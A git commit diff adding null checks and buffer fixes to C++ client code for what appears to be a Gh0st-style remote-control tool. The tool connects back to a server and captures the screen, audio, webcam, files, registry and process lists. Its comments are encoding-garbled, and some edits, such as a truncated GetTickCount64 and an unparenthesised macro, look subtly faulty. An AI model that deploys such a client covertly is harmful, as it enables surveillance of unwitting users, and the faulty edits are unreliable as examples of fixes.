solve some issues according to code analysis result
This commit is contained in:
@@ -87,8 +87,10 @@ CAudio::~CAudio()
|
|||||||
if (m_bIsWaveOutUsed)
|
if (m_bIsWaveOutUsed)
|
||||||
{
|
{
|
||||||
waveOutReset(m_hWaveOut);
|
waveOutReset(m_hWaveOut);
|
||||||
for (int i = 0; i < 2; ++i)
|
for (int i = 0; i < 2; ++i) {
|
||||||
|
if (m_InAudioHeader[i])
|
||||||
waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR));
|
waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR));
|
||||||
|
}
|
||||||
waveOutClose(m_hWaveOut);
|
waveOutClose(m_hWaveOut);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -131,8 +133,10 @@ BOOL CAudio::InitializeWaveIn()
|
|||||||
}
|
}
|
||||||
|
|
||||||
waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR));
|
waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR));
|
||||||
|
if (m_Thread!=NULL)
|
||||||
|
{
|
||||||
ResumeThread(m_Thread);
|
ResumeThread(m_Thread);
|
||||||
|
}
|
||||||
waveInStart(m_hWaveIn); //¼<><C2BC>
|
waveInStart(m_hWaveIn); //¼<><C2BC>
|
||||||
|
|
||||||
m_bIsWaveInUsed = TRUE;
|
m_bIsWaveInUsed = TRUE;
|
||||||
|
|||||||
@@ -66,7 +66,8 @@ ULONG CBuffer::DeAllocateBuffer(ULONG ulLength)
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
||||||
|
if (NewBase == NULL)
|
||||||
|
return 0;
|
||||||
ULONG ulv1 = GetBufferLength(); //<2F><>ԭ<EFBFBD><D4AD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD>
|
ULONG ulv1 = GetBufferLength(); //<2F><>ԭ<EFBFBD><D4AD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD>
|
||||||
CopyMemory(NewBase,m_Base,ulv1);
|
CopyMemory(NewBase,m_Base,ulv1);
|
||||||
|
|
||||||
|
|||||||
@@ -12,10 +12,6 @@ CSampleGrabberCB mCB;
|
|||||||
|
|
||||||
CCaptureVideo::CCaptureVideo()
|
CCaptureVideo::CCaptureVideo()
|
||||||
{
|
{
|
||||||
if(FAILED(CoInitialize(NULL)))
|
|
||||||
{
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
m_pCapture = NULL;
|
m_pCapture = NULL;
|
||||||
m_pGB = NULL;
|
m_pGB = NULL;
|
||||||
m_pMC = NULL;
|
m_pMC = NULL;
|
||||||
@@ -23,6 +19,11 @@ CCaptureVideo::CCaptureVideo()
|
|||||||
m_pBF = NULL;
|
m_pBF = NULL;
|
||||||
m_pGrabber = NULL;
|
m_pGrabber = NULL;
|
||||||
m_bExit = FALSE;
|
m_bExit = FALSE;
|
||||||
|
m_hWnd = NULL;
|
||||||
|
if (FAILED(CoInitialize(NULL)))
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
CCaptureVideo::~CCaptureVideo()
|
CCaptureVideo::~CCaptureVideo()
|
||||||
|
|||||||
@@ -108,6 +108,9 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
|
|||||||
g_uPort = uPort;
|
g_uPort = uPort;
|
||||||
|
|
||||||
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
|
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
|
||||||
|
if (hThread == NULL) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
WaitForSingleObject(hThread, 200);
|
WaitForSingleObject(hThread, 200);
|
||||||
#else
|
#else
|
||||||
@@ -134,14 +137,14 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
|||||||
g_bThreadExit = false;
|
g_bThreadExit = false;
|
||||||
while (!g_bExit)
|
while (!g_bExit)
|
||||||
{
|
{
|
||||||
DWORD dwTickCount = GetTickCount();
|
DWORD dwTickCount = GetTickCount64();
|
||||||
if (!ClientObject->ConnectServer(g_szServerIP, g_uPort))
|
if (!ClientObject->ConnectServer(g_szServerIP, g_uPort))
|
||||||
{
|
{
|
||||||
for (int k = 500; !g_bExit && --k; Sleep(10));
|
for (int k = 500; !g_bExit && --k; Sleep(10));
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
//<><D7BC><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
//<><D7BC><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
SendLoginInfo(ClientObject, GetTickCount()-dwTickCount);
|
SendLoginInfo(ClientObject, GetTickCount64()-dwTickCount);
|
||||||
|
|
||||||
CKernelManager Manager(ClientObject);
|
CKernelManager Manager(ClientObject);
|
||||||
bool bIsRun = 0;
|
bool bIsRun = 0;
|
||||||
|
|||||||
@@ -31,9 +31,10 @@ HANDLE _CreateThread (LPSECURITY_ATTRIBUTES SecurityAttributes,
|
|||||||
hThread = (HANDLE)CreateThread(SecurityAttributes,
|
hThread = (HANDLE)CreateThread(SecurityAttributes,
|
||||||
dwStackSize,(LPTHREAD_START_ROUTINE)ThreadProc, &ThreadArgList,
|
dwStackSize,(LPTHREAD_START_ROUTINE)ThreadProc, &ThreadArgList,
|
||||||
dwCreationFlags, (LPDWORD)ThreadId);
|
dwCreationFlags, (LPDWORD)ThreadId);
|
||||||
|
if (ThreadArgList.hEvent != NULL) {
|
||||||
WaitForSingleObject(ThreadArgList.hEvent, INFINITE);
|
WaitForSingleObject(ThreadArgList.hEvent, INFINITE);
|
||||||
CloseHandle(ThreadArgList.hEvent);
|
CloseHandle(ThreadArgList.hEvent);
|
||||||
|
}
|
||||||
|
|
||||||
return hThread;
|
return hThread;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -251,8 +251,8 @@ UINT CFileManager::SendDriveList()
|
|||||||
|
|
||||||
unsigned __int64 HDAmount = 0;
|
unsigned __int64 HDAmount = 0;
|
||||||
unsigned __int64 HDFreeSpace = 0;
|
unsigned __int64 HDFreeSpace = 0;
|
||||||
unsigned long AmntMB = 0; // <20>ܴ<EFBFBD>С
|
unsigned __int64 AmntMB = 0; // <20>ܴ<EFBFBD>С
|
||||||
unsigned long FreeMB = 0; // ʣ<><CAA3><EFBFBD>ռ<EFBFBD>
|
unsigned __int64 FreeMB = 0; // ʣ<><CAA3><EFBFBD>ռ<EFBFBD>
|
||||||
|
|
||||||
DWORD dwOffset = 1;
|
DWORD dwOffset = 1;
|
||||||
for (; *pDrive != '\0'; pDrive += lstrlen(pDrive) + 1)
|
for (; *pDrive != '\0'; pDrive += lstrlen(pDrive) + 1)
|
||||||
@@ -260,7 +260,7 @@ UINT CFileManager::SendDriveList()
|
|||||||
memset(FileSystem, 0, sizeof(FileSystem));
|
memset(FileSystem, 0, sizeof(FileSystem));
|
||||||
// <20>õ<EFBFBD><C3B5>ļ<EFBFBD>ϵͳ<CFB5><CDB3>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD>С
|
// <20>õ<EFBFBD><C3B5>ļ<EFBFBD>ϵͳ<CFB5><CDB3>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD>С
|
||||||
GetVolumeInformation(pDrive, NULL, 0, NULL, NULL, NULL, FileSystem, MAX_PATH);
|
GetVolumeInformation(pDrive, NULL, 0, NULL, NULL, NULL, FileSystem, MAX_PATH);
|
||||||
SHFILEINFO sfi;
|
SHFILEINFO sfi = {};
|
||||||
SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi, sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
|
SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi, sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
|
||||||
|
|
||||||
int nTypeNameLen = lstrlen(sfi.szTypeName) + 1;
|
int nTypeNameLen = lstrlen(sfi.szTypeName) + 1;
|
||||||
@@ -312,6 +312,10 @@ UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory)
|
|||||||
WIN32_FIND_DATA FindFileData;
|
WIN32_FIND_DATA FindFileData;
|
||||||
|
|
||||||
lpList = (BYTE *)LocalAlloc(LPTR, nBufferSize);
|
lpList = (BYTE *)LocalAlloc(LPTR, nBufferSize);
|
||||||
|
if (lpList==NULL)
|
||||||
|
{
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
wsprintf(strPath, "%s\\*.*", lpszDirectory);
|
wsprintf(strPath, "%s\\*.*", lpszDirectory);
|
||||||
hFile = FindFirstFile(strPath, &FindFileData);
|
hFile = FindFirstFile(strPath, &FindFileData);
|
||||||
@@ -338,6 +342,8 @@ UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory)
|
|||||||
{
|
{
|
||||||
nBufferSize += MAX_PATH * 2;
|
nBufferSize += MAX_PATH * 2;
|
||||||
lpList = (BYTE *)LocalReAlloc(lpList, nBufferSize, LMEM_ZEROINIT|LMEM_MOVEABLE);
|
lpList = (BYTE *)LocalReAlloc(lpList, nBufferSize, LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||||||
|
if (lpList == NULL)
|
||||||
|
continue;
|
||||||
}
|
}
|
||||||
pszFileName = FindFileData.cFileName;
|
pszFileName = FindFileData.cFileName;
|
||||||
if (strcmp(pszFileName, ".") == 0 || strcmp(pszFileName, "..") == 0)
|
if (strcmp(pszFileName, ".") == 0 || strcmp(pszFileName, "..") == 0)
|
||||||
@@ -427,6 +433,10 @@ UINT CFileManager::SendFileSize(LPCTSTR lpszFileName)
|
|||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
int nPacketSize = lstrlen(lpszFileName) + 10;
|
int nPacketSize = lstrlen(lpszFileName) + 10;
|
||||||
BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize);
|
BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize);
|
||||||
|
if (bPacket==NULL)
|
||||||
|
{
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
memset(bPacket, 0, nPacketSize);
|
memset(bPacket, 0, nPacketSize);
|
||||||
|
|
||||||
bPacket[0] = TOKEN_FILE_SIZE;
|
bPacket[0] = TOKEN_FILE_SIZE;
|
||||||
@@ -467,6 +477,8 @@ UINT CFileManager::SendFileData(LPBYTE lpBuffer)
|
|||||||
DWORD nNumberOfBytesRead = 0;
|
DWORD nNumberOfBytesRead = 0;
|
||||||
|
|
||||||
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, MAX_SEND_BUFFER);
|
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, MAX_SEND_BUFFER);
|
||||||
|
if (lpPacket == NULL)
|
||||||
|
return -1;
|
||||||
// Token, <20><>С<EFBFBD><D0A1>ƫ<EFBFBD>ƣ<EFBFBD><C6A3>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// Token, <20><>С<EFBFBD><D0A1>ƫ<EFBFBD>ƣ<EFBFBD><C6A3>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
lpPacket[0] = TOKEN_FILE_DATA;
|
lpPacket[0] = TOKEN_FILE_DATA;
|
||||||
memcpy(lpPacket + 1, pFileSize, sizeof(FILESIZE));
|
memcpy(lpPacket + 1, pFileSize, sizeof(FILESIZE));
|
||||||
@@ -637,7 +649,7 @@ void CFileManager::GetFileData()
|
|||||||
|
|
||||||
// 1<>ֽ<EFBFBD>Token,<2C><><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƹ<EFBFBD><C6B8><EFBFBD>λ<EFBFBD><CEBB><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>λ
|
// 1<>ֽ<EFBFBD>Token,<2C><><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƹ<EFBFBD><C6B8><EFBFBD>λ<EFBFBD><CEBB><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>λ
|
||||||
BYTE bToken[9];
|
BYTE bToken[9];
|
||||||
DWORD dwCreationDisposition; // <20>ļ<EFBFBD><C4BC><EFBFBD>ʽ
|
DWORD dwCreationDisposition = 0; // <20>ļ<EFBFBD><C4BC><EFBFBD>ʽ
|
||||||
memset(bToken, 0, sizeof(bToken));
|
memset(bToken, 0, sizeof(bToken));
|
||||||
bToken[0] = TOKEN_DATA_CONTINUE;
|
bToken[0] = TOKEN_DATA_CONTINUE;
|
||||||
|
|
||||||
|
|||||||
@@ -96,7 +96,9 @@ inline string GetIPAddress(const char *hostName)
|
|||||||
for (int i = 0; host->h_addr_list[i]; ++i)
|
for (int i = 0; host->h_addr_list[i]; ++i)
|
||||||
printf("<EFBFBD><EFBFBD>ȡ<EFBFBD>ĵ<EFBFBD>%d<><64>IP: %s\n", i+1, inet_ntoa(*(struct in_addr*)host->h_addr_list[i]));
|
printf("<EFBFBD><EFBFBD>ȡ<EFBFBD>ĵ<EFBFBD>%d<><64>IP: %s\n", i+1, inet_ntoa(*(struct in_addr*)host->h_addr_list[i]));
|
||||||
#endif
|
#endif
|
||||||
return host ? inet_ntoa(*(struct in_addr*)host->h_addr_list[0]) : "";
|
if (host == NULL || host->h_addr_list == NULL)
|
||||||
|
return "";
|
||||||
|
return host->h_addr_list[0] ? inet_ntoa(*(struct in_addr*)host->h_addr_list[0]) : "";
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort)
|
BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort)
|
||||||
@@ -153,7 +155,7 @@ BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort)
|
|||||||
DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
||||||
{
|
{
|
||||||
IOCPClient* This = (IOCPClient*)lParam;
|
IOCPClient* This = (IOCPClient*)lParam;
|
||||||
char szBuffer[MAX_RECV_BUFFER] = {0};
|
char* szBuffer = new char[MAX_RECV_BUFFER];
|
||||||
fd_set fd;
|
fd_set fd;
|
||||||
const struct timeval tm = { 2, 0 };
|
const struct timeval tm = { 2, 0 };
|
||||||
|
|
||||||
@@ -180,9 +182,9 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
|||||||
}
|
}
|
||||||
else if (iRet > 0)
|
else if (iRet > 0)
|
||||||
{
|
{
|
||||||
memset(szBuffer, 0, sizeof(szBuffer));
|
memset(szBuffer, 0, MAX_RECV_BUFFER);
|
||||||
int iReceivedLength = recv(This->m_sClientSocket,
|
int iReceivedLength = recv(This->m_sClientSocket,
|
||||||
szBuffer,sizeof(szBuffer), 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
szBuffer, MAX_RECV_BUFFER, 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
if (iReceivedLength <= 0)
|
if (iReceivedLength <= 0)
|
||||||
{
|
{
|
||||||
int a = GetLastError();
|
int a = GetLastError();
|
||||||
@@ -205,6 +207,7 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
|||||||
}
|
}
|
||||||
This->m_bWorkThread = S_STOP;
|
This->m_bWorkThread = S_STOP;
|
||||||
This->m_bIsRunning = FALSE;
|
This->m_bIsRunning = FALSE;
|
||||||
|
delete[] szBuffer;
|
||||||
|
|
||||||
return 0xDEAD;
|
return 0xDEAD;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -46,6 +46,10 @@ public:
|
|||||||
return m_bIsRunning;
|
return m_bIsRunning;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void SetExit() {
|
||||||
|
m_bIsRunning = FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
BOOL m_bIsRunning;
|
BOOL m_bIsRunning;
|
||||||
BOOL m_bConnected;
|
BOOL m_bConnected;
|
||||||
|
|
||||||
|
|||||||
@@ -164,6 +164,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
default:
|
default:
|
||||||
{
|
{
|
||||||
OutputDebugStringA("======> Error operator\n");
|
OutputDebugStringA("======> Error operator\n");
|
||||||
|
char buffer[256] = {};
|
||||||
|
strncpy(buffer, (const char*)(szBuffer+1), sizeof(buffer));
|
||||||
|
printf("!!! Unknown command: %s\n", buffer);
|
||||||
if (m_ulThreadCount != -1) {
|
if (m_ulThreadCount != -1) {
|
||||||
delete m_hThread[m_ulThreadCount].p;
|
delete m_hThread[m_ulThreadCount].p;
|
||||||
m_hThread[m_ulThreadCount].p = NULL;
|
m_hThread[m_ulThreadCount].p = NULL;
|
||||||
|
|||||||
@@ -12,7 +12,7 @@
|
|||||||
#include "Manager.h"
|
#include "Manager.h"
|
||||||
#include <vector>
|
#include <vector>
|
||||||
|
|
||||||
#define MAX_THREADNUM 0x1000
|
#define MAX_THREADNUM 0x1000>>2
|
||||||
|
|
||||||
// <20>߳<EFBFBD><DFB3><EFBFBD>Ϣ<EFBFBD>ṹ<EFBFBD><E1B9B9>, <20><><EFBFBD><EFBFBD>3<EFBFBD><33><EFBFBD><EFBFBD>Ա: <20><><EFBFBD><EFBFBD>״̬(run)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(h)<29><>ͨѶ<CDA8>ͻ<EFBFBD><CDBB><EFBFBD>(p).
|
// <20>߳<EFBFBD><DFB3><EFBFBD>Ϣ<EFBFBD>ṹ<EFBFBD><E1B9B9>, <20><><EFBFBD><EFBFBD>3<EFBFBD><33><EFBFBD><EFBFBD>Ա: <20><><EFBFBD><EFBFBD>״̬(run)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(h)<29><>ͨѶ<CDA8>ͻ<EFBFBD><CDBB><EFBFBD>(p).
|
||||||
struct ThreadInfo
|
struct ThreadInfo
|
||||||
|
|||||||
@@ -17,8 +17,16 @@ std::string getSystemName()
|
|||||||
//<2F><><EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>Ϊwin8.1<EFBFBD><EFBFBD>win10
|
//<2F><><EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>Ϊwin8.1<EFBFBD><EFBFBD>win10
|
||||||
typedef void(__stdcall*NTPROC)(DWORD*, DWORD*, DWORD*);
|
typedef void(__stdcall*NTPROC)(DWORD*, DWORD*, DWORD*);
|
||||||
HINSTANCE hinst = LoadLibrary("ntdll.dll");
|
HINSTANCE hinst = LoadLibrary("ntdll.dll");
|
||||||
|
if (hinst == NULL)
|
||||||
|
{
|
||||||
|
return vname;
|
||||||
|
}
|
||||||
DWORD dwMajor, dwMinor, dwBuildNumber;
|
DWORD dwMajor, dwMinor, dwBuildNumber;
|
||||||
NTPROC proc = (NTPROC)GetProcAddress(hinst, "RtlGetNtVersionNumbers");
|
NTPROC proc = (NTPROC)GetProcAddress(hinst, "RtlGetNtVersionNumbers");
|
||||||
|
if (proc==NULL)
|
||||||
|
{
|
||||||
|
return vname;
|
||||||
|
}
|
||||||
proc(&dwMajor, &dwMinor, &dwBuildNumber);
|
proc(&dwMajor, &dwMinor, &dwBuildNumber);
|
||||||
if (dwMajor == 6 && dwMinor == 3) //win 8.1
|
if (dwMajor == 6 && dwMinor == 3) //win 8.1
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -88,6 +88,9 @@ char* RegisterOperation::FindPath()
|
|||||||
|
|
||||||
DWORD DataSize=KeyCount*KeySize+Size+1; //[TOKEN_REG_PATH][2 11 ccccc\0][11][11]
|
DWORD DataSize=KeyCount*KeySize+Size+1; //[TOKEN_REG_PATH][2 11 ccccc\0][11][11]
|
||||||
szBuffer=(char*)LocalAlloc(LPTR, DataSize);
|
szBuffer=(char*)LocalAlloc(LPTR, DataSize);
|
||||||
|
if (szBuffer == NULL) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
ZeroMemory(szBuffer,DataSize);
|
ZeroMemory(szBuffer,DataSize);
|
||||||
szBuffer[0]=TOKEN_REG_PATH; //<2F><><EFBFBD><EFBFBD>ͷ
|
szBuffer[0]=TOKEN_REG_PATH; //<2F><><EFBFBD><EFBFBD>ͷ
|
||||||
REGMSG msg; //<2F><><EFBFBD><EFBFBD>ͷ
|
REGMSG msg; //<2F><><EFBFBD><EFBFBD>ͷ
|
||||||
@@ -148,13 +151,20 @@ char* RegisterOperation::FindKey()
|
|||||||
DWORD size=sizeof(REGMSG)+
|
DWORD size=sizeof(REGMSG)+
|
||||||
sizeof(BYTE)*NameCount+ NameSize*NameCount+DataSize*NameCount+10;
|
sizeof(BYTE)*NameCount+ NameSize*NameCount+DataSize*NameCount+10;
|
||||||
szBuffer = (char*)LocalAlloc(LPTR, size);
|
szBuffer = (char*)LocalAlloc(LPTR, size);
|
||||||
|
if (szBuffer==NULL)
|
||||||
|
{
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
ZeroMemory(szBuffer,size);
|
ZeroMemory(szBuffer,size);
|
||||||
szBuffer[0]=TOKEN_REG_KEY; //<2F><><EFBFBD><EFBFBD>ͷ
|
szBuffer[0]=TOKEN_REG_KEY; //<2F><><EFBFBD><EFBFBD>ͷ
|
||||||
memcpy(szBuffer+1,(void*)&msg,msgsize); //<2F><><EFBFBD><EFBFBD>ͷ
|
memcpy(szBuffer+1,(void*)&msg,msgsize); //<2F><><EFBFBD><EFBFBD>ͷ
|
||||||
|
|
||||||
szValueName=(char *)malloc(NameSize);
|
szValueName=(char *)malloc(NameSize);
|
||||||
szValueDate=(LPBYTE)malloc(DataSize);
|
szValueDate=(LPBYTE)malloc(DataSize);
|
||||||
|
if (szValueName==NULL||szValueDate == NULL)
|
||||||
|
{
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
char *szTemp=szBuffer+msgsize+1;
|
char *szTemp=szBuffer+msgsize+1;
|
||||||
for(dwIndex=0;dwIndex<NameCount;dwIndex++) //ö<>ټ<EFBFBD>ֵ
|
for(dwIndex=0;dwIndex<NameCount;dwIndex++) //ö<>ټ<EFBFBD>ֵ
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -103,7 +103,8 @@ VOID CScreenManager::SendBitMapInfo()
|
|||||||
const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER);
|
const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER);
|
||||||
LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL,
|
LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL,
|
||||||
ulLength, MEM_COMMIT, PAGE_READWRITE);
|
ulLength, MEM_COMMIT, PAGE_READWRITE);
|
||||||
|
if (szBuffer == NULL)
|
||||||
|
return;
|
||||||
szBuffer[0] = TOKEN_BITMAPINFO;
|
szBuffer[0] = TOKEN_BITMAPINFO;
|
||||||
//<2F><><EFBFBD>ォbmpλͼ<CEBB>ṹ<EFBFBD><E1B9B9><EFBFBD>ͳ<EFBFBD>ȥ
|
//<2F><><EFBFBD>ォbmpλͼ<CEBB>ṹ<EFBFBD><E1B9B9><EFBFBD>ͳ<EFBFBD>ȥ
|
||||||
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
|
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
|
||||||
@@ -180,6 +181,8 @@ VOID CScreenManager::UpdateClientClipboard(char *szBuffer, ULONG ulLength)
|
|||||||
if (hGlobal != NULL) {
|
if (hGlobal != NULL) {
|
||||||
|
|
||||||
LPTSTR szClipboardVirtualAddress = (LPTSTR) GlobalLock(hGlobal);
|
LPTSTR szClipboardVirtualAddress = (LPTSTR) GlobalLock(hGlobal);
|
||||||
|
if (szClipboardVirtualAddress == NULL)
|
||||||
|
return;
|
||||||
memcpy(szClipboardVirtualAddress, szBuffer, ulLength);
|
memcpy(szClipboardVirtualAddress, szBuffer, ulLength);
|
||||||
GlobalUnlock(hGlobal);
|
GlobalUnlock(hGlobal);
|
||||||
SetClipboardData(CF_TEXT, hGlobal);
|
SetClipboardData(CF_TEXT, hGlobal);
|
||||||
|
|||||||
@@ -65,7 +65,8 @@ LPBYTE CServicesManager::GetServicesList()
|
|||||||
&dwResumeHandle);
|
&dwResumeHandle);
|
||||||
|
|
||||||
szBuffer = (LPBYTE)LocalAlloc(LPTR, MAX_PATH);
|
szBuffer = (LPBYTE)LocalAlloc(LPTR, MAX_PATH);
|
||||||
|
if (szBuffer == NULL)
|
||||||
|
return NULL;
|
||||||
szBuffer[0] = TOKEN_SERVERLIST;
|
szBuffer[0] = TOKEN_SERVERLIST;
|
||||||
dwOffset = 1;
|
dwOffset = 1;
|
||||||
for (unsigned long i = 0; i < dwServicesCount; ++i) // Display The Services,<2C><>ʾ<EFBFBD><CABE><EFBFBD>еķ<D0B5><C4B7><EFBFBD>
|
for (unsigned long i = 0; i < dwServicesCount; ++i) // Display The Services,<2C><>ʾ<EFBFBD><CABE><EFBFBD>еķ<D0B5><C4B7><EFBFBD>
|
||||||
@@ -82,7 +83,8 @@ LPBYTE CServicesManager::GetServicesList()
|
|||||||
}
|
}
|
||||||
|
|
||||||
ServicesInfor = (LPQUERY_SERVICE_CONFIG)LocalAlloc(LPTR,4*1024);
|
ServicesInfor = (LPQUERY_SERVICE_CONFIG)LocalAlloc(LPTR,4*1024);
|
||||||
|
if (ServicesInfor == NULL)
|
||||||
|
continue;
|
||||||
QueryServiceConfig(hServices,ServicesInfor,4*1024,&dwResumeHandle);
|
QueryServiceConfig(hServices,ServicesInfor,4*1024,&dwResumeHandle);
|
||||||
//<2F><>ѯ<EFBFBD><D1AF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
//<2F><>ѯ<EFBFBD><D1AF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
@@ -120,7 +122,8 @@ LPBYTE CServicesManager::GetServicesList()
|
|||||||
if (LocalSize(szBuffer) < (dwOffset + dwLength))
|
if (LocalSize(szBuffer) < (dwOffset + dwLength))
|
||||||
szBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength),
|
szBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength),
|
||||||
LMEM_ZEROINIT|LMEM_MOVEABLE);
|
LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||||||
|
if (szBuffer == NULL)
|
||||||
|
continue;
|
||||||
memcpy(szBuffer + dwOffset, ServicesStatus[i].lpDisplayName,
|
memcpy(szBuffer + dwOffset, ServicesStatus[i].lpDisplayName,
|
||||||
lstrlen(ServicesStatus[i].lpDisplayName) + 1);
|
lstrlen(ServicesStatus[i].lpDisplayName) + 1);
|
||||||
dwOffset += lstrlen(ServicesStatus[i].lpDisplayName) + 1;//<2F><>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD>
|
dwOffset += lstrlen(ServicesStatus[i].lpDisplayName) + 1;//<2F><>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD>
|
||||||
|
|||||||
@@ -78,7 +78,8 @@ LPBYTE CSystemManager::GetProcessList()
|
|||||||
HMODULE hModules = NULL; //<2F><><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>һ<EFBFBD><D2BB>ģ<EFBFBD><C4A3><EFBFBD>ľ<EFBFBD><C4BE><EFBFBD>
|
HMODULE hModules = NULL; //<2F><><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>һ<EFBFBD><D2BB>ģ<EFBFBD><C4A3><EFBFBD>ľ<EFBFBD><C4BE><EFBFBD>
|
||||||
|
|
||||||
